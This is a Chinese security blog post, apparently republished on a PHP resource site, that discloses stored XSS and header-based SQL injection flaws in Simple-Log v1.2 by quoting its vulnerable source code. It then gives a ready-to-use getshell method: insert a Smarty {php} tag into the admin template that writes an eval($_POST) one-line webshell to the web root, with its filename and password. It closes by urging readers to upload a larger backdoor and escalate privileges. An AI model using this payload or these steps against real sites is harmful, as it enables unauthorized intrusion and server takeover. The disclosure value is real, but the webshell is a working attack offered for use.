文章详情

  • 游戏榜单
  • 软件榜单
关闭导航
热搜榜
热门下载
热门标签
php爱好者> php文档>Simple-Log v1.2两个漏洞和拿webshell方法

Simple-Log v1.2两个漏洞和拿webshell方法

时间:2011-04-25  来源:子仪

发布日期:2011-04.24
发布作者:子仪

漏洞类型:xss/sql/Getshell
漏洞分析:

1、XSS

 

$user_name=$_POST['name']; //未过滤...        $home=$_POST['url'];//未过滤......      $replay_id=intval($_GET['comment_id']); //未过滤.........       $email=$_POST['email'];//未过滤............        $content=$_POST['content'];//未过滤........................................      if (empty($content))      {       $res['error']='评论内容不能为空';       die($json->encode($res));      }      else     {       $content=process_text($content);      }      ...       $content=mysql_escape_string($content);          $sql="INSERT INTO ".table('comment')." (`comment_id` ,`blog_id` ,`user_id` ,`user_name` ,`content` ,`email` ,`home` ,`add_time` ,`ip` ,`status` )".      "VALUES (NULL , '$id', '$user_id', '$user_name', '".$content."', '$email', '$home', '$time', '$ip', '".$config['comment_safe']."') ";   

多处用户提交的地方没有进行过滤,导致用户可以插入XSS代码。

第二:getip()注入

//获取IP地址,用户通过高匿名代理服务器或者欺骗性代理服务器时是无法获取到真实ip的,因此ip获取只能作为参考,这个函数是互联网的一个通俗写法     function ip()     {      if(getenv('HTTP_CLIENT_IP') && strcasecmp(getenv('HTTP_CLIENT_IP'), 'unknown'))      {       $ip = getenv('HTTP_CLIENT_IP');      }      elseif(getenv('HTTP_X_FORWARDED_FOR') && strcasecmp(getenv('HTTP_X_FORWARDED_FOR'), 'unknown'))      {       $ip = getenv('HTTP_X_FORWARDED_FOR');      }      elseif(getenv('REMOTE_ADDR') && strcasecmp(getenv('REMOTE_ADDR'), 'unknown'))      {       $ip = getenv('REMOTE_ADDR');      }      elseif(isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'], 'unknown'))      {       $ip = $_SERVER['REMOTE_ADDR'];      }      else     {       $ip = '0.0.0.0';      }      return $ip;//未过滤IP,漏洞产生    }   

这个漏洞是老生常谈了,可还是有很多的程序员不重视,直接复制网上的例子。哎,WEB安全任重道远啊。。。。

3.WEBSHELL

该系统用的是Smarty模板引擎,我们可以通过Smarty特有的标签来执行PHP脚本。进入后台,点击自定义网站模板,在最后一行加入
{php}fwrite(fopen('zyday.php',w),'<?php eval($_POST[zyday.com])?>');{/php}
刷新网站首页,此时目标站根目录下会生成zyday.php的一句话木马,密码是zyday.com,接下来就传大马提权吧。

标签分类: SQL注入 Getshell XSS跨站

相关阅读 更多 +
排行榜 更多 +
幣安BNB币行情神器

幣安BNB币行情神器

金融理财 下载
愤怒的火柴人4中文版下载

愤怒的火柴人4中文版下载

角色扮演 下载
嘟嘟脸恶作剧手游下载

嘟嘟脸恶作剧手游下载

休闲益智 下载